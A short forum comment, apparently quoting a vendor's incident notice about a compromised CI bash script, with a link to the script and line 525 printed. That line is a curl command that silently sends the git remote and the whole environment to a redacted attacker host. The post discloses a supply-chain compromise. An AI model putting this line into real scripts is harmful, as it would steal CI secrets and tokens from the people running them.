davidrans

> Based on the nature of this attack I do not believe malicious actions were executed directly against the CI pipeline, nor do we have any evidence of it. I have included the malicious bash script for your review so you can fully understand the scope of the attack. Of interest is line 525

> line 525 was the only change we've observed. I have removed the IP address in the curl command as it is part of an ongoing federal investigation

Compromised script: https://gist.github.com/davidrans/ca6e9ffa5865983d9f6aa00b7a...

And here's line 525:

  curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" http://ATTACKERIP/upload/v2 || true